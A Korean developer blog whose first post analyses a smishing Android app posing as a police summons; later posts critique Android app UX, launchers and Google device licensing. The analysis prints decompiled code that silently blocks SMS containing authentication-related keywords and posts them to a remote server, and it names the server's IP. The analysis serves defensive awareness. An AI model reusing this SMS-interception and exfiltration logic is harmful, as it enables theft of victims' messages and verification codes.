Android 스미싱 사례 분석

얼마 전에 저희 팀 개발자에게 지방경찰청의 민사소송 출석요구서를 빙자한 스미싱 문자가 발송되었습니다.

스미싱_메시지통2
스미싱_sms

스미싱 방지 기능이 포함된 ‘메시지통‘ 개발자이기 때문에 스미싱임을 충분히 인지한 상태였지만, 문자 내용상으로 ‘경찰청’, ‘민사소송’, ‘출석요구서’ 등 일반인들에게는 충분히 위화감을 줄 수 있는 단어가 포함되어 있다보니 메시지를 받는 순간 가슴이 쫄깃쫄깃해졌다고 합니다.

이에 개발자가 열받아서 스미싱앱을 직접 다운받고 분석해서 일반인을 위한 내용을 저희 서비스 공식 블로그를 통해서 ‘스미싱 앱 수신부터 삭제까지~ (스미싱 앱 원리 파헤치기)‘라는 글을 발행하였습니다. 아무래도 개발자가 분석한 내용에 비해서 기술적인 내용이 많이 생략되었고, 개발자분들이야 맘만 먹으면 다 분석할 수 있는 내용이지만 저도 막상 스미싱앱을 직접 분석해본 적은 없었기에 개발자분들의 귀차니즘과 궁금증을 동시에 해소해드릴까 해서 글을 포스팅합니다.

1.앱의 권한

경찰청 출석요구서 스미싱앱의 권한은 SMS를 수집해서 특정 서버로 전송하는 기능을 수행하기 위한 권한을 포함하고 있습니다. “RECEIVE_MMS“나 “WAKE_LOCK” 등은 코드 분석결과 사용하지 않는 권한으로 확인되었습니다.

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_MMS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

2.주요 동작

앱 설치후 실행 시에는 사용자가 인지할 수 있는 동작은 수행하지 않습니다. 다만, 최초 구동 시에는 사용자가 모르게 http://126.114.228.119 URL로 단말 전화번호와 사용중인 통신사 정보를 전송합니다.

이후에는 SMS가 수신되면 ‘인증‘, ‘결재‘, ‘보호‘, ‘휴대폰‘, ‘번호‘, ‘www‘ 등의 문자열이 포함된 경우에 abortBroadcast() 호출을 통해서 다른 SMS 수신 앱으로 SMS가 전달되지 않도록 합니다. 다만, SMS receiver의 priority가 1000밖에 안되어서 모든 앱이 SMS를 수신하지 못하는 것은 아닙니다.

단말 전화번호와 사용중인 통신사 정보를 수집하는 부분과 특정 문자열을 포함한 문자메시지를 왜 서버로 전달하지 않는지는 추측하기 쉽지 않지만 기술적으로는 조금 허술하게 구현된 측면이 있습니다.

if (s1.indexOf("\uC778\uC99D") >= 0) { // 인증
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uACB0\uC81C") >= 0) { // 결재
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uBCF4\uD638") >= 0) { // 보호
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uD734\uB300\uD3F0") >= 0) { // 휴대폰
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uBC88\uD638") >= 0) { // 번호
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("www") >= 0) {
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

이렇게 특정 문자열에 대해서 abortBroadcast()로 SMS 수신앱에 전달되지 않게 한 이후에는 별도로 실행되는 Service를 통해서 SMS를 서버로 전달하게 됩니다.

public void onCreate() {
    super.onCreate();
    new Thread(new Runnable() {
        public void run() {
            while (true) {
                if (!clService.this.threadDisable)
                    return;
                try {
                    Thread.sleep(1000 L);
                    if (SMS.D) {
                        SMS.D = false;
                        String str = clService.this.tool.postHttpConnection(SMS.usehost, SMS.ponNum, SMS.towNum, SMS.comten);
                        Log.v("clService", "post:" + str);
                    }
                } catch (InterruptedException localInterruptedException) {}
            }
        }
    }).start();
}

3.특이사항

실제로 동작하지는 않지만 Device Admininistration 관련된 Code가 포함되어 있습니다.

Android 2.2부터 추가된 Device Policy Management는 단말의 Lock을 설정하거나 Data를 모두 지우거나 Password를 Reset하는 등의 단말 관리 정책을 사용하려고 시도 했다는 것인데, 보통은 Exchange 서버를 사용하는 Email앱을 사용할때 보여지는 화면이고 휴대폰의 분실 또는 기타 사유에 의해서 정보 유출을 방지하고자 선의로 사용되는 기능입니다.

ada

다음과 같은 코드로 기기 권한 활성화 Activity를 호출하고자 구현되어 있고 실제로 호출되었다면 단순 스미싱이 아닌 더 큰 재앙(?)이 될 뻔했습니다. 물론 기기 권한 활성화는 별도 사용자의 동의가 없이는 동작하지 않기 때문에 우려하는 재앙이 발생할 개연성은 높지 않으리라 봅니다만 악용하면 위험한 기능임에는 틀림이 없습니다.

private void startAddDeviceAdminAty()
{
    Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    localIntent.putExtra("android.app.extra.DEVICE_ADMIN", DAR.getCn(this));
    localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "테스트");
    startActivityForResult(localIntent, 10001);
}

더 나은 Android application 만들기

iOS가 초기에 mobile 생태계를 선점하면서 기획을 비롯한 UI / UX, Design 실무자는 물론 개발자들까지 iOS의 영향력 아래서 자유로울 수 없었기 때문에 Android application들이  iOS의 UI를 따라한 사례가 많고, 각기 다른  플랫폼에 최적화된 기획안을 따로 만드는 것도 현실적으로 어렵다보니 Android UX에 충실한 application이 거의 없습니다. 또한, Android 플랫폼에 충실하게 개발하고 싶거나 공부를 하고 싶어서 Android UI/UX에 참고할 수 있는 Best Practice 사례를 추천해달라고 종종 요청 받아도 딱히 추천해줄 수 있는 사례가 없는 것이 안타까운 현실입니다.

그마나, ICS 버전부터 Google이 Android Design site를 통해서 기본적인 Guideline을 제시하고 있지만 이를 숙지하는 사람도 별로 없고, 개발자들조차 구글의 Android 개발자 블로그 를 유심히 보는 것 같지 않습니다.

이 글에서는 시중에 유통되는 application의 사례들을 통해서 바람직한 Android UI/UX에 대한 방향을 제시하고자 합니다.

컨텐츠 접근을 쉽게

OKJSP 기존 앱 초기화면 Screenshot_2013-05-04-23-53-57

개선된 OKJSP 앱 초기화면 개선된 OKJSP 앱 게시판 목록

첫번째는 OKJSP 기존 앱의 초기화면이고, 두번째는 개선된 앱의 초기화면 입니다.  두 앱의 가장 큰 차이는 초기 화면의 컨텐츠의 접근성입니다.

  • 첫번째 앱은 게시판을 선택하고 글을 선택하는 최소한 2단계의 탭이 필요로 하지만, 두번재 앱은 바로 글을 선택할 수 있습니다.
  • 첫번째 앱은 게시판 목록에서 새글이 올라온 게시판을 구분할 수 없기 때문에 사용자가 모든 게시판 또는 자주가는 게시판을 선택을 해야 글 목록을 확인 가능하고 그 마저도 새 글의 여부가 명확하지 않아서 미처 기억하지 않은 제목의 경우에 이미 읽은 게시물을 다시 읽을 수도 있는 상황이 발생할 수 있습니다. 반면, 두번째 앱은 ‘최근 게시물’을 먼저 보여주기 때문에 최신 글의 접근성이 높아졌고, 이미 읽은 글에 대해서 Dim 처리를 했기 때문에 이미 읽은 글과 읽지 않은 글의 구분이 명확해졌습니다.
  • 두번째 앱은 ‘햄버거와 지하’ 문제에도 불구하고 menu drawer 기능을 적용하였습니다. 이는 facebook과 마찬가지로 OKJSP도 게시판 목록이 좌측에 위치하고 게시판 목록을 클릭해서 게시판에 이동하는 Web의 경험을 Menu Drawer(또는, Hamburger Menu)를 통해서 Seamless하게 구현하였습니다. 또한, 현재 선택된 게시판을 Highlighting하여 사용자가 메뉴에서 길을 잃는 일이 없도록 표시했습니다.

키보드 – 바로 보여주기

Screenshot_2013-05-05-00-11-34 Screenshot_2013-05-05-00-11-49

‘김기사’ application에서 ‘리스트’ 목록을 선택했을 때 화면입니다. 하단 ‘리스트’ 버튼을 통해서 목록에 진입하면 첫번째 화면이 보여지는데 두번째 화면과 같이 에디트 창에 커서를 배치하고 키보드를 보여주는 것이 표준 동작입니다. 물론 목록을 많이 보여주려는 목적도 있을 수 있겠으나 목록이 많다면 검색창에서 자동완성으로 해결하는 것이 더 바람직한 해결책이라고 봅니다.

키보드 – ACTION 적절하게 정의 하기

Screenshot_2013-05-05-00-26-23 Screenshot_2013-05-05-00-29-35

Android의 키보드 우측 하단 키는 ‘ACTION’을 정의할 수 있습니다. ‘이동‘, ‘검색‘, ‘다음‘, ‘완료‘ 등으로 다양하게 적용 가능하고, 위 화면을 보시면 Google 검색 창에서는 키보드가 ‘검색’으로 적용되고 크롬 브라우저에서 URL 주소를 입력하면 ‘이동’으로 적용되는 것을 알 수 있습니다. 김기사 앱의 경우에는 리스트에서 장소를 검색함에도 불구하고 ‘검색’이 아닌 ‘완료’로 표시 되어 있습니다. 단, 완료는 특별한 추가 동작 없이 키보드를 닫는 작업을 수행합니다.

키보드의 ACTION을 적절하게 적용하면 ‘완료’ 대신에 ‘이동’, ‘검색’, ‘다음’ 등의 직관적인 키워드에 의해서 수행되는 작업을 명시적으로 알려줄 뿐 아니라 보통 화면 상단에 위치하는 에디트 입력 창이나 동작 버튼까지 멀리 터치하지 않아도 키보드 반경 내에서 다음 동작을 바로 수행할 수 있는 장점이 있습니다.

예측 가능한 동작 연결하기 – 검색결과 예외처리

Screenshot_2013-05-05-00-17-46 Screenshot_2013-05-05-00-20-41

위 화면과 같이 목록에 없는 결과를 입력했을 때, ‘김기사’앱은 아무런 결과를 보여주지 않았지만 우측의 Foursquare는 검색 결과가 없는 경우 빈화면 또는 오류/경고 팝업을 보여주는 대신에 목록을 바로 추가할 수 있는 경로를 제공하고 있습니다.

사실 김기사 앱의 ‘리스트’라는 화면은 명확하게 정의하자면 ‘저장된 위치 목록’ 또는 ‘즐겨찾기’인데 ‘리스트’라는 이름으로 인해서 학습되지 않은 사용자에게 검색 결과를 보여주는 것인지 기존에 저장된 목록을 검색하는 것인지 모호한 점이 있기는 합니다.

Option menu / Context menu 사용하기

device-2013-05-05-024833 device-2013-05-05-025554

김기사앱의 목록 화면은 상단 제목의 좌측에는 [+] 버튼이 우측에는 [편집] 버튼이 있는 아주 기형적인 구조를 가지고 있습니다.

사실 [+] 버튼은 위에서 언급한 대로 자동 완성 기능에 의해서 목록에서 찾고 목록에 없는 경우에 검색으로 연결하는 것이 자연스러운 흐름이고, 사용자가 명시적으로 추가하는 동작을 원하는 경우에는 Option Menu에 기능을 추가하는 것이 훨씬 자연스러운 접근입니다.

그리고, [편집]버튼은 상당히 쌩뚱맞은데 [편집] 버튼에서 지원하는 기능이라고는 [삭제]와 [숨기기]가 고작입니다. 이 정도는 롱클릭에 의한 Context menu로 지원했다면 [편집]이라는 쌩뚱맞은 화면을 만들지 않아도 되었지 않나 생각합니다.

김기사 앱은 전체적으로 메뉴키를 지원하지 않는 구조인데, 앱의 화면에 버튼을 비롯한 UI 요소가 많은 것은 사용자에게 앱이 복잡하거나 어렵다고 느끼게 할 수 있기 때문에 앱을 주로 사용하는 기능에 대해서만 화면의 주요 요소로 배치하고 나머지 부가적인 기능은 메뉴키를 이용한 option menu로 처리하는 것이 좋습니다.

device-2013-05-05-025613 device-2013-05-05-030126

그리고, ‘리스트’ 화면에서 해당 목록을 클릭하면 해당 장소에 대한 세부 내용이 보이는데 여기에도 몇가지 문제가 있습니다.

  1. 리스트 화면의 목록은 그대로 존재하면서 추가 정보가 보여줘야 하는데 목록이 없어지면서 상세 정보만 보여서 헷갈리게 할 수 있습니다.
  2. 클릭한 목록의 상세 정보을 닫고 최초 목록 화면을 보고 싶을 때 되돌아갈 수 있는 경로가 없습니다.
  3. 원래 목록으로 돌아가고 싶어서 [BACK]키를 누르면 앱이 우발적으로 종료되기 때문에 종료 팝업을 띄워서 이 문제를 대응하고 있습니다.
  4. 정상적인 상황이라면 목록의 상세 정보에서 [닫기] 기능을 제공하는 것이 맞습니다.
  5. Context menu를 인지하지 못하는 사용자를 위해서 상세 정보에서 [숨기기], [삭제] 기능까지 부가적으로 제공하면 더욱 좋습니다.
  6. 목록의 상세 정보에 버튼이나 기능 요소가 많아서 사용자가 어려움을 겪을 수 있다면 [more] 버튼이나 유사한 메타포를 통한 추가 기능 지원이 좋습니다.

Android에서 context menu는 익숙한 사용자에게 빠른 사용성을 제공하기 때문에 쉬운 사용성을 위한 우회로와 함께 지름길을 같이 제공하는 것도 중요합니다.

흐름을 끊지 않기

Screenshot_2013-05-05-03-13-57

이 글의 대부분은 ‘김기사’앱으로 사례를 들고 있지만, 제가 아는 가장 나쁜 UI/UX를 가진 앱은 단연 ‘Tmap’입니다. 그 중에서 가장 큰 문제는 주행하기 위해서 안전운전 도우미를 실행하면 거의 항상 만나는 팝업이 DB 업데이트 다운로드 확인 팝업입니다. 안전운전 DB의 업데이트를 해당 기능의 실행 시점에 그것도 팝업으로 물어 보면서 흐름을 끊는 것이 맞는지 정말 의구심이 드는 부분입니다.

저런 상황이라면 우선 안전운전 도우미를 실행하고 Notification Bar에 DB 업데이트 관련 내용을 띄운다면 운전 시작하는 시점에 기다리거나 흐름이 끊어짐이 없이 바로 안전운전 도우미 사용이 가능하고 Notification Bar를 통해서 사용자가 DB 업데이트 시점을 조절할 수 있고 운전 중에 핸드폰을 조작해야 하는 최악의 경우 상황도 피할 수 있습니다.

팝업은 정말로 필요할 때만…

Screenshot_2013-05-05-03-27-57 Screenshot_2013-05-05-03-31-03

엄밀하게 따지면 현재 사용되고 있는 대부분의 경우에 팝업은 필요하지 않습니다.

심지어 추가된지 얼마 안되는 facebook application 작성 창의 팝업도 꼭 있어야 하는 것인지에 대한 의구심이 있습니다. 물론, 작성된 내용을 유실하거나 실수로 BACK키를 누르는 경우에 불편함이 있기 때문에 팝업을 띄우는 것이 맞다고 생각할 수 있고 마찬가지로 Tmap의 경로 취소 팝업도 동일 선상에서 사용자의 실수를 보완하는 용도로 사용했으리라 봅니다만, 작성 내용을 자동 저장했다가 작성창에 다시 진입했을 때 저장한 내용을 불러오는 흐름이 더 자연스럽지 않았을까 생각합니다. Tmap의 경우도 최근 목적지에 경로 정보가 이미 있기 때문에 굳이 경로 취소 팝업이 아니더라도 데이터를 유실하는 것이 아니기 때문에 팝업이 저 상황을 해결하는 최선의 UI라고 보지 않습니다.

나쁜 팝업 vs. 좋은 팝업

Tmap_팝업 Tmap_팝업2

Tmap 3.x 버전의 초기 구동 화면입니다. SKT 전용 단말의 경우에는 WiFi가 연결되더라도 3G를 사용할 수 있도록 변형되었기 때문에 문제가 없는데 Galaxy Nexus같은 GED 단말은 통신사 전용 기능이 적용되지 않아서 WiFi 상태에서는 사용자 인증을 할 수 없기 때문에 3G로 변경해서 사용하라는 안내 문구를 보여주고 있습니다. 그런데 여기서 [확인]버튼을 누르면 Tmap 이 그냥 종료됩니다. 상단 Notification Bar를 통해서 설정에 진입해서 WiFi를 끄고 3G로 변경을 해도 네트워크 변경을 감지하지 않고 [확인]버튼을 누르면 역시 그냥 종료됩니다. 여기서 사용자가 어떻게 [확인]이 앱이 종료된다고 상상할수 있을까요?

그런데, Android application은 WiFi를 직접 켜고 끌 수 있기 때문에 [확인]버튼 대신 [WiFi끄기] 버튼을 배치했다면 application을 종료했다가 다시 실행하지 않아도 되고, 해당 상황에서 네트워크 변화를 감지해서 3G가 사용 가능하다면 팝업이 자동으로 사라지면서 Tmap 메인 화면으로 진입하는 것이 가장 매끄러운 진행입니다.

또 하나의 아이러니는 진입할 때 WiFi를 끄고 진입했다가 지도 업데이트를 위해서 해당 화면으로 진입하면 WiFi를 켜라고 안내 문구만 나오고, 여기에도 역시 WiFi 켜거나 끄는 옵션이 존재하지 않습니다.

팝업 문구 역시 ‘WiFi 상태에서는 운전 중 네트워크 연결이 불안정 할 수 있습니다” 인데 이걸 어떻게 해석해야 할까요? 정말로 WiFi 상태에서 운전 중에는 네트워크 연결이 불안정한가요? 정확한 문구는 ‘이 단말은 WiFi 연결 상태에서는 Tmap 정보를 얻어올 수 없습니다. WiFi를 해제하고 사용하세요.“가 적합할 것입니다.

 

불필요한 정보 숨기기

‘등록 되었습니다.’, ‘성공했습니다.’ 등의 팝업을 보여주는 application들이 많이 있습니다. 이런 성공에 대한 알림은 Toast로 표시하거나 사용 흐름을 끊지 않는 다른 UI적 요소를 사용해서 보여주고, 오류가 발생했다고 해도 사용자가 대응할 수 없는 상황에서는 application이 최대한 대응을 하고 불가피하게 사용자의 선택이나 대응이 필요한 시점에 팝업을 띄워야지 오류에 대해서 무책임하게 사용자에게 책임을 떠 넘기는 팝업은 보여주지 말아야 합니다.

또한, 김기사에서 주행 중에 교통변화 자동 감지 설정이 켜져 있는 경우 ‘기존 경로로 안내합니다.‘라는 음성 안내가 있는데 이런 경우에는 교통변화 자동 감지를 통해서 경로가 변경되었을 경우에만 알려주는 것이 적절하고, 기존에 사용자가 알고 있는 경로 정보에서 변화가 없는데 ‘변화가 없다‘는 사실을 굳이 알려줄 필요는 없습니다.

배터리 팝업

 

예전 사례입니다만. 충전기를 연결한 상태에서 Tmap을 주행하는 도중에 충전 완료 팝업을 앱이 아닌 단말기에서 띄운 경우입니다.

충전이 완료되었다는 것이…

  1. 사용자가 꼭 알아야 하는 정보인가요?
  2. 사용자로부터 [확인] 버튼을 꼭 받아야 할 만큼 중요한가요?
  3. 팝업으로 알리지 않으면 사용자가 알 수 없는 정보인가요?
  4. 충전기 연결을 안 빼면 무슨 일이 발생하나요?

불필요한 정보를 보여주는 것이 불필요함에서 끝나지 않고 팝업을 닫기 위해서 운전중 핸드폰을 터치해야 하며 운전 중이 아니더라도 충전기를 연결한 상태에서는 텍스트 입력이 끊기는 등 사용자를 귀찮게 하는 대표적인 사례입니다.

사용자를 무작정 기다리지 않게 하기 – 비동기

Screenshot_2013-05-06-10-02-04

개발자들에게 많이 알려진 기능 중에서 일반적으로 가장 보기 힘든 기능이 비동기 기능이 아닌가 싶습니다.

Path에서 적용된 이후에 facebook 포스팅에도 적용되면서 많이 알려졌지만 실제로 구현에 어려움이 많고 기획자가 잘 모르는 기능이라 기획 요구사항에 포함되지 않는 점도 있겠지만 오래 걸리는 작업을 progressbar를 띄워서 무작정 사용자를 기다리게 하는 것 보다는 Notification Bar를 통해서 비동기 작업을 진행하고 사용자는 끊김 없이 다른 기능을 계속 사용할 수 있도록 해야 합니다.

사용자를 가르치지 말라

포쿠-상단탭

이미지는 ‘포쿠‘라는 포인트와 쿠폰 application입니다. 상단 타이틀바에 있는 ‘가맹점’, ‘POCOU’, ‘포쿠+’가 있는 곳이 화면을 전환하는 Tab bar 역할을 수행하는데 다음과 같은 문제가 있습니다.,

  1. 기존에 사용되지 않던 생소한 방식이라 사용자가 저 위치를 클릭해서 화면을 전환을 해야 한다고 생각하지 않을 것이라는 점
    ☞ 완전히 다른 기능을 수행하는 것이 아니라 기존에 있는 기능을 수행하는 것이라면 사용자에게 학습된 UI를 사용하거나 유사한 메타포어를 가지는 디자인을 사용하는 것이 좋습니다.
  2. 실제로 상단 Tab을 클릭하면 화면이 좌/우로 슬라이딩 되면서 변환되는데 Tab바가 아닌 하단 화면에서 터치 Swipe 동작으로는 화면이 전환되지 않는 점
    ☞ UI 요소에 대해서 사용자가 어떻게 반응하고 다음 동작을 할지 예상을 할 필요가 있습니다. 차라리 좌/우 슬리이딩 애니메이션이 없다면 하단 화면을 슬라이딩해서 바꾸려는 시도를 하지 않았었겠지만 애니메이션 요소에 의해서 오히려 사용자를 혼란스럽게 하고 있습니다.

※ 블로그 발행 후 피드백이 있어 업데이트합니다.

Android Launcher 전쟁(?) 관람기

최근 여러 업체들이 약속이나 한 듯이 각자의 전략을 담은 Android Launcher들을 발표했습니다.

각 사의 launcher 발표에 대한 첫 느낌은 Web 기반의 인터넷 서비스 업체들이 mobile, 특히 Android에 대한 이해도가 높아졌다는 것이고, 이는 기존 iOS에서 앱기반으로 사용자 니즈를 충족하는 것과는 다른 나름대로 차별화된 전략을 구사하기 시작했다는 것을 의미하기 때문입니다.

Android 초기에는 Google과 제조사에서 제공하는 launcher는 정말로 application을 실행하기 위한  launcher 본연의 역할에만 충실했을뿐, 가장 개인화된 device인 phone의 Home(=Launcher) 역할을 수행하기에는 불편함이 많았고 이 틈새를 초기부터 집요하게 공략해서 성공한 어플이 ‘GO Launcher‘라고 볼 수 있습니다. GO Launcher가 나름 탄탄하게 시장을 구축하고 있을 때에도 인터넷 서비스 업체들은 launcher의 존재를 인지하지 못하고 홈에 검색 위젯을 설치하도록 유도하거나 독립 앱으로 포털의 경험을 mobile로 이식하려는 시도를 했었고 심지어 구글을 공정위에 제소하는 등의 법적인 대응까지 진행했었습니다.

어쨌거나 결과적으로 인터넷 서비스 업체들이 launcher의 존재를 인지하고 투자를 한다는 것은 매우 긍정적인 신호이지만 지금은 좀 늦지 않았나 하는 생각도 있습니다. 왜냐하면 Android 초기 상황과는 달리 Google에서 기본으로 제공하는 Home의 주요 기능이 플랫폼 기능과 밀착되기 시작했고 제조사들도 Home을 개발하는데 좀 더 많은 노력을 들이기 시작했다는 점 때문입니다.

facebook Home은 그림이 너무 크고 개념이 너무 멀리 나아가서 이 글에서는 네이버와 다음 위주로 이야기 해보고자 합니다.

제가 보기엔 현재 launcher에 대한 투자는 ‘밑 빠진 독에 물 붓기‘입니다. 그 이유를 열거하자면,

  1. Android의 platform 기능에 Home기능이 밀착될 수록 3rd party Home은 platform 진화를 따라가는데 버거울 것입니다.
    이는 기존에 Microsoft가 Windows OS에 application 기능을 밀착시키면서 경쟁 Office 제품군과  Borland 같은 Visual C/C++개발툴 경쟁 업체까지 몰락시킨 전례와 유사한 상황이 될 것이라고 보기 때문입니다. 또한, Android가 Open Source Project라고 하지만 Linux와 Platform 등의 source만 공개하고 Launcher source를 비롯한 주요 source들은 공개하지 않고 있어서 3rd party가 따라가기에는 생각보다 많은 공수가 투입될 것입니다.
  2. Google의 밥줄이기 때문입니다.
    Google이 GMS license를 통해서 Home에 Google 검색을 기본으로 탑재하고 있는데, Android 플랫폼에 대한 엄청난 투자에도 불구하고 3rd party가 Home을 점령해서 Google의 검색 시장을 뺏어가는 것을 가만히 두고 볼리가 없습니다. 혹자가 얘기하는 Google이 3rd party Home이 Google Play Store에 등록되는 것을 거부할 것이라는 등의 방법 말고도 fast mover 전략을 통해서 3rd party Home이 따라오기 충분히 어렵게 할 수 있습니다. 어쨌거나 3rd party Home은 단말기를 교체했을 때 새로 다운로드 받아서 설치해야 하는 번거로움이 여전히 존재하기 때문입니다.
  3. 제조사 변수
     제조사가 인터넷 서비스 업체만큼 Home에 대해서 절박하거나 Google 처럼 밥줄이 달려있거나 하지 않지만 그들 나름대로의 치열한 시장 점유율 경쟁을 위해서 3rd party Home이 가지는 장점들을 단말기 출시 시점에 기본 Home에 이식할 것이고, 그 외에도 제조사는 Home을 비롯한 기본 application에 루트권한을 부여하는데 제약이 있는 것이 아니기 때문에 3rd party가 상상할 수 있는 그 이상을 언제든지 보여줄 수 있는 기득권이 있는 상태입니다. 물론, HTC가 Sense UI를 적용하고 삼성이 TouchWiz라는 독자적인 UI 노선을 고집하면서 Android platform 진화에 상대적으로 느리게 따라오는 취약점은 있지만 언제든지 보완이 가능한 취약점이기 때문에 3rd party Home이 제조사를 아프게 하기는 힘들 것입니다.
  4. Google과 제조사가 고민하지 않는 “왜 런처를 바꿔야 하지?”에 대한 질문과 고민을 3rd party Home은 끊임없이 해야 합니다.
    3rd party Home이 단기간 차별화 전략을 통해서 성공할 수 있겠지만 Home에 대한 완성도는 어느 시점 이후에는 대동소이할 것이고 사용자는 굳이 런처를 바꾸지 않아도 불편함을 느끼지 않는 시점에 도달하게 될 것입니다.

이러한 이유로 3rd party Home은 ‘밑빠진 독에 물 붓기’일 것이며 완벽한 레드오션이라고 생각합니다.

다만, 네이버와 다음 같은 회사는 밑빠진 독에 물을 부어서라도 각자의 플랫폼으로 사용자를 유도하는데 충분히 효과적인 전략이기 때문에 하는 것이 맞다고 봅니다. 그렇지만 GO Launcher의 성공을 보며 별도 플랫폼 없이 독자 application만으로 승부하고자 한다면 도시락 싸가지고 다니면서 말리고 싶습니다.

네이버와 다음도 기존에 검색 위젯을 바탕화면에 설치하고자 했던 단순한 시각에서 벗어나서 Home으로 눈을 돌린 만큼 사용자들에게 Home을 설치하도록 유도하는 단순 마케팅에서 벗어나서 Home에서 시작하는 Android의 UX를 어떻게 ‘네이버스럽게’, ‘다음스럽게’ 전개할지에 대한 진지한 고민이 병행되어야 한다고 생각합니다.

네이버와 다음의 Home 1차 전쟁은 투자를 통해서 대체제를 확보한 다음보다는 아무래도 개발자를 내부에 영입한 네이버의 1차 승리가 아닐까 생각합니다. 물론 네이버의 Home이 제조사의 것이나 마켓에 있는 여러 Home보다 낫다고 생각하지는 않습니다만 내부 서비스와 연계하여 전략 방향을 일치시킬 수 있다는 점에서는 유리한 고지를 점령한 정도라고 생각합니다. 또한, 네이버나 다음이나 뭐가 그리 급했는지 완성도 떨어지는 앱을 출시해서 사용자에게 실망을 안겨준 점은 앞으로 Home의 확산에 큰 장애 요소가 될 것 같습니다.

네이버나 다음이 밑빠진 독에 물을 부어서라도 mobile 시장, 특히 Android 시장에서 패권을 차지하기 위한 마중물의 역할을 충실히 수행하게 하고 싶다면 내부에서 개발자들이 GED폰을 ‘레퍼런스폰‘이라고 부르는 무개념부터 바꿔야 하고 Home에서 시작되는 NED(Naver Experienced Device), DED(Daum Experienced Device)에 대한 개념 정립부터 시작하는 것이 맞는 순서라고 봅니다.

ps. 글을 올린 이후 받은 몇가지 피드백에 대해서 보완합니다.
1. Android 기본 Launcher는 Open source에 포함되어 있습니다. (제가 이 부분은 미처 몰랐습니다)
2. 제조사 소스에는 해당 부분을 공개하지 않습니다.

구글폰에 대한 오해와 진실

Android 관련하여 잘못 알려지거나 제대로 알려지지 않은 정보가 워낙 많은데 그 중 하나가 GED(Google Experience Device)가 아닐까 합니다.

Nexus One, Nexus S, Galaxy Nexus 등이 대표적인 GED 단말입니다.
결론부터 말씀드리자면, GED는 Android 레퍼런스 폰이 아닙니다. 굳이 적합한 용어를 붙이자면 GED는 그냥 구글폰입니다.

Google에서 근무하시는 @mickeyk 님의 블로그에서도 레퍼런스폰이 아닌 구글폰이라고 부르고 있다는 것을 알 수 있습니다.

구글폰과 레퍼런스폰의 용어에 대해서 지적하는 이유는 용어로 인해서 Android와 Google이 동일시 되는 경향이 있고 Android와 Google을 동일시 하는 것이 단기적으로나 장기적으로나 Android 플랫폼 입장에서는 입지가 좁아지는 문제가 발생하고 Android가 Google 서비스에 종속되는 것이 당연시 되는 시장 분위기 형성에 문제가 있다고 판단하기 때문입니다. Google 서비스에 최적화된 또는 Google 서비스가 탑재된 Android만을 가정하고 개발하는 상황이 지속적으로 이어지고 있고 다양한 분야에서 Android 플랫폼 적용에 상상력이 발휘되지 않는 것이 우려스러운 면도 있기 때문입니다.

Android가 OHA(Open Handset Alliance)라는 연합 형식을 취하고 있기는 하지만 실제적으로 Google이 모든 것을 주도한다는 것은 알만한 사람들은 다 아는 사실입니다. 이 사실로 인해서 소위 전문가라고 하는 사람들도 Android와 Google을 묶어서 혼동하거나 종종 구분하지 못하고 있습니다.

트위터에서 많이 회자된 “안드로이드를 싫어하는 이유“라는 글을 봐도 Android와 Google을 초반에는 구분하는 것 처럼 보이지만 결론적으로 동일시하고 있습니다. 이 글에서는 이통사를 “공공의 적”으로 규정하고 이통사와 손잡은 Google을 아주 나쁜놈 취급하면서 결과적으로 Android가 나쁘다고 논리는 전개하고 있는데요. 이와 관련해서는 이번 포스팅 주제와 맞지 않기 때문에 간단히 짚고 넘어가고 기회가 되면 나중에 따로 제 생각을 정리해보겠습니다.

진보를 꿈꾸던 자가 자신이 원하는 진보를 이루면 또다른 보수가 되어 다른 진보를 막고자 하는 의지가 생기는 것같다.“라고 지인께서 제 페이스북에 댓글로 남겨주셨는데 저 블로그 내용대로 애플과 구글이 이통사를 이겼다고 해도 결국은 이통사가 하던 짓을 애플과 구글이 할 것이라는 것이 제 기본적인 생각입니다.

다시 GED 얘기로 돌아오면, Android에는 GED, GMS, Non-Google(정식용어는 아니지만 이 의미가 가장 적합할 듯 합니다)의 3가지의 라이선스가 있습니다.
앞서 언급하였듯이 Nexus One, Nexus S, Galaxy Nexus 등의 레퍼런스폰이라고 잘못 불리는 폰들은 Google의 서비스를 제대로 사용하기 위해서 Google 주도하에 제조사의 협력으로 만들어지는 GED단말들입니다. Android 라이선스에 대한 자세한 사항은 “제 3자에 의한 Android Market” 블로그 내용을 참고하시기 바랍니다.

  • GED는 Google이 단말 제조과정에 전반적으로 개입해서 철저하게 Google 입장에서 기기를 만드는 것입니다. 당연히 Google 서비스에 최적화 되고 Google이 맘대로 만들 수 있기 때문에 Android의 주요 버전을 출시하는 과정에서 GED 단말과 함께 출시하다보니 레퍼런스폰이라고 많은 분들이 오해하시는 것으로 보입니다.
  • GMS는 GED와는 달리 Google의 개입없이 제조사가 독립적으로 기계를 만들지만 Google Android Market(이후 Market)에 접속하는 댓가로 Google의 기본 서비스 application(Gmail, Google maps, YouTube, Market, GTalk, … 등)을 제조 과정에서 pre-install하며 Market에 접속해도 문제가 없는 단말인지 호환성을 확인하는 과정(CTS)을 거치고 CTS 인증을 통과해야만 시장에 출시해서 Market에 접속이 가능합니다.
